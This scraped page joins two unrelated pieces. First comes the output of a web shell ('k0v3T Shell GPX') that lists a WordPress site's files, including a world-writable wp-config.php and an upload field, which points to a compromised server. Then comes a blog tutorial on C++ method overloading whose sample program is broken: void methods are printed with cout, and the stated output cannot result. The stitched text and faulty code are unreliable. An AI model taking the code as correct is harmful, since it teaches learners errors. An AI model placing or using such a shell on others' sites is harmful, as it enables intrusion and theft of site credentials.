k0v3T Shell GPX

Path : /home/maddyteddy/public_html/
File Upload :

Name
Size
Permission
Modify
12_01_2017BackUp
--
drwxr-xr-x
application
--
drwxr-xr-x
cdownload
--
drwxr-xr-x
cgi-bin
--
drwxr-xr-x
download
--
drwxr-xr-x
huge-it-google-map-custom-icons
--
drwxr-x---
portal.isssearch.in
--
drwxr-xr-x
quiz-program
--
drwxr-xr-x
wp-admin
--
drwxr-xr-x
wp-content
--
drwxrwxrwx
wp-includes
--
drwxr-xr-x
.htaccess
18.891 KB
-rw-r--r--
BingSiteAuth.xml
0.083 KB
-rw-r--r--
error_log
100.553 KB
-rw-r--r--
index.php
0.408 KB
-rw-r--r--
license.txt
19.468 KB
-rw-r--r--
readme.html
7.239 KB
-rw-r--r--
robots.txt
0.097 KB
-rw-r--r--
test.php
0.022 KB
-rw-r--r--
wp-activate.php
5.319 KB
-rw-r--r--
wp-blog-header.php
0.355 KB
-rw-r--r--
wp-comments-post.php
1.589 KB
-rw-r--r--
wp-config-sample.php
2.786 KB
-rw-r--r--
wp-config.php
3.015 KB
-rw-rw-rw-
wp-cron.php
3.209 KB
-rw-r--r--
wp-links-opml.php
2.365 KB
-rw-r--r--
wp-load.php
3.224 KB
-rw-r--r--
wp-login.php
33.522 KB
-rw-r--r--
wp-mail.php
7.859 KB
-rw-r--r--
wp-settings.php
15.82 KB
-rw-r--r--
wp-signup.php
29.223 KB
-rw-r--r--
wp-trackback.php
4.407 KB
-rw-r--r--
xmlrpc.php
2.993 KB
-rw-r--r--

SinonX
Method overloading in Cpp Program

Method Overloading : Cpp Program : 7

Method Overloading in Cpp Programs

What is Method Overloading ?

When we use same name methods in one class with different parameters this is called method overloading in Cpp Programs.

More details on this topic.

In this program, area(int r) and area(int l,int h) are same name method, these two methods store at the same location in memory.  When we call these methods from main() method, the program becomes overloaded due to same name of the methods. But program identified actual method from its parameters (int r) and (int l,int h).

Program : Find area of circle and rectangle.

#include<iostream.h>
#include<conio.h>
class Area
{
public:
double circleArea , rect;
void area(int r)
{

circleArea = 3.14 * r * r;

}
void area(int l,int h)
{

rect = l*h;

}
};
void main()
{

clrscr();
Area obj1,obj2;

cout << “Area of Circle = ” << obj1.area(10) << endl;
cout << “Area of Rec = ” << obj2.area(10,20) << endl;

getch();

 

}


Output:

Area of Circle = 314.00

Area of Rec = 200


Try Yourself

Program 1 : Find 10 Employee salary  using of two method with same name. One method does not calculate commission but second method can calculate commission with salary.

  • Also use array object and object passing in this program.

1556total visits,24visits today


mayank

Hello, I am Maddy a Java blogger, trainer and developer

Related articles

Comments are closed.